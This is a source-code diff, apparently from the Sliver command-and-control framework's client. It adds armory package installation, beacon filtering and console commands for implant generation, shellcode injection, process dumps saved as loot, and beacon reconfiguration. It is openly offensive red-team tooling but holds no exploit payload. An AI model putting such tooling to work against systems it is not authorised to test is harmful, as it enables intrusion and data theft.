@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
clientConfig := parseArmoryHTTPConfig(ctx)
refresh(clientConfig)
if name == "all" {
aliases, extensions := packagesInCache()
confirm := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
}
err := installPackageByName(name, clientConfig, con)
if err == nil {
return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
aliases, extensions := packagesInCache()
for _, alias := range aliases {
if alias.CommandName == name {
if alias.CommandName == name || name == "all" {
installAlias(alias, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
for _, ext := range extensions {
if ext.CommandName == name {
if ext.CommandName == name || name == "all" {
installExtension(ext, clientConfig, con)
return nil
if name != "all" {
return nil
}
}
}
if name == "all" {
con.Printf("\n")
con.PrintInfof("All packages installed\n")
return nil
}
return ErrPackageNotFound
}
@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
} else {
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
}
if err != nil {
return err
+146 -16
View File
@@ -28,6 +28,9 @@ import (
"net"
"net/http"
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -45,6 +48,7 @@ var (
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
@@ -54,13 +58,13 @@ const (
)
type armoryIndexResponse struct {
Minisig string `json:"minisig"` // Minisig
ArmoryIndex string `json:"armory_index"` // Base64 String
Minisig string `json:"minisig"` // Minisig (Base64)
ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
}
type armoryPkgResponse struct {
Minisig string `json:"minisig"` // Minisig
TarGzURL string `json:"tar_gz_url"`
Minisig string `json:"minisig"` // Minisig (Base64)
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
}
//
@@ -76,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryConfig.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
@@ -88,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
if resp.StatusCode != http.StatusOK {
return nil, errors.New("api returned non-200 status code")
}
index := &armoryIndexResponse{}
err = json.Unmarshal(body, index)
indexResp := &armoryIndexResponse{}
err = json.Unmarshal(body, indexResp)
if err != nil {
return nil, err
}
armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
if err != nil {
return nil, err
}
armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
if err != nil {
return nil, err
}
// Verify index is signed by trusted key
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
if !valid {
return nil, errors.New("invalid signature")
return nil, errors.New("index has invalid signature")
}
armoryIndex := &ArmoryIndex{}
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
if err != nil {
return nil, err
}
@@ -113,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
}
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -121,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
}
client := httpClient(clientConfig)
resp, err := client.Get(armoryPkg.RepoURL)
repoURL, err := url.Parse(armoryConfig.RepoURL)
if err != nil {
return nil, nil, err
}
req := &http.Request{
Method: http.MethodGet,
URL: repoURL,
Header: map[string][]string{},
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
@@ -339,6 +375,101 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
@@ -358,9 +489,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
+83 -23
View File
@@ -21,6 +21,7 @@ package beacons
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -31,7 +32,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, false, con)
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, true, con)
err = kill.KillBeacon(beacon, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -71,35 +72,44 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
tw := renderBeacons(beacons, filter, filterRegex, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -132,37 +142,87 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
var next string
var interval string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
} else {
interval = time.Since(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
if con.Settings.SmallTermWidth < width {
interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
})
}
} else {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
})
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
return tw
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+1 -1
View File
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
tw := renderBeacons(beacons.Beacons, "", nil, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
+129 -25
View File
@@ -63,6 +63,7 @@ import (
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
@@ -398,6 +399,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "no-canaries", false, "disable dns canary detection")
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -475,6 +477,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -503,6 +507,47 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Reconfig ] ---------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.ReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.RenameStr,
Help: "Rename the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.RenameCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Sessions ] --------------------------------------------------------------
sessionsCmd := &grumble.Command{
@@ -514,6 +559,10 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Bool("F", "force", false, "force session action without waiting for results")
f.String("f", "filter", "", "filter sessions by substring")
f.String("e", "filter-re", "", "filter sessions by regular expression")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -530,6 +579,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
f.Bool("F", "force", false, "Force the killing of stale/dead sessions")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -543,26 +593,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(sessionsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active session",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "agent name to change to")
f.Int("r", "reconnect", -1, "reconnect interval for agent")
f.Int("p", "poll", -1, "poll interval for agent")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.SessionsReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
@@ -590,7 +620,7 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "Force kill, does not clean up")
f.Bool("F", "force", false, "Force kill, does not clean up")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -807,6 +837,30 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
@@ -940,10 +994,12 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.Bool("T", "token", false, "execute command with current token (windows only)")
f.Bool("o", "output", false, "capture command output")
f.Bool("s", "save", false, "save output to a file")
f.Bool("X", "loot", false, "save output as loot")
f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
f.String("O", "stdout", "", "remote path to redirect STDOUT to")
f.String("E", "stderr", "", "remote path to redirect STDERR to")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -976,6 +1032,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1020,6 +1077,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -1045,6 +1104,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
},
@@ -1199,6 +1260,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1253,6 +1317,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1401,6 +1468,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1456,10 +1526,13 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1574,6 +1647,24 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Filesystem ] ---------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.MvStr,
Help: "Move or rename a file",
LongHelp: help.GetHelpFor([]string{consts.MvStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("src", "path to source file")
a.String("dst", "path to dest file")
},
Run: func(ctx *grumble.Context) error {
err := filesystem.MvCmd(ctx, con)
return err
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.LsStr,
Help: "List current directory",
@@ -1602,7 +1693,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.RmStr}),
Flags: func(f *grumble.Flags) {
f.Bool("r", "recursive", false, "recursively remove files")
f.Bool("f", "force", false, "ignore safety and forcefully remove files")
f.Bool("F", "force", false, "ignore safety and forcefully remove files")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1681,6 +1772,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "colorize-output", false, "colorize output")
f.Bool("x", "hex", false, "display as a hex dump")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting (optional)")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting (optional)")
},
Args: func(a *grumble.Args) {
a.String("path", "path to the file to print")
@@ -1702,6 +1796,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("X", "loot", false, "save output as loot")
f.String("T", "type", "", "force a specific loot type (file/cred) if looting")
f.String("F", "file-type", "", "force a specific file type (binary/text) if looting")
f.String("n", "name", "", "name to assign the download if looting")
},
Args: func(a *grumble.Args) {
a.String("remote-path", "path to the file or directory to download")
@@ -1812,6 +1909,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Int("p", "pid", -1, "target pid")
f.String("n", "name", "", "target process name")
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
f.String("N", "loot-name", "", "name to assign when adding the memory dump to the loot store (optional)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1838,7 +1937,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("f", "force", false, "disregard safety and kill the PID")
f.Bool("F", "force", false, "disregard safety and kill the PID")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2045,6 +2144,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file (will overwrite if exists)")
f.Bool("X", "loot", false, "save output as loot")
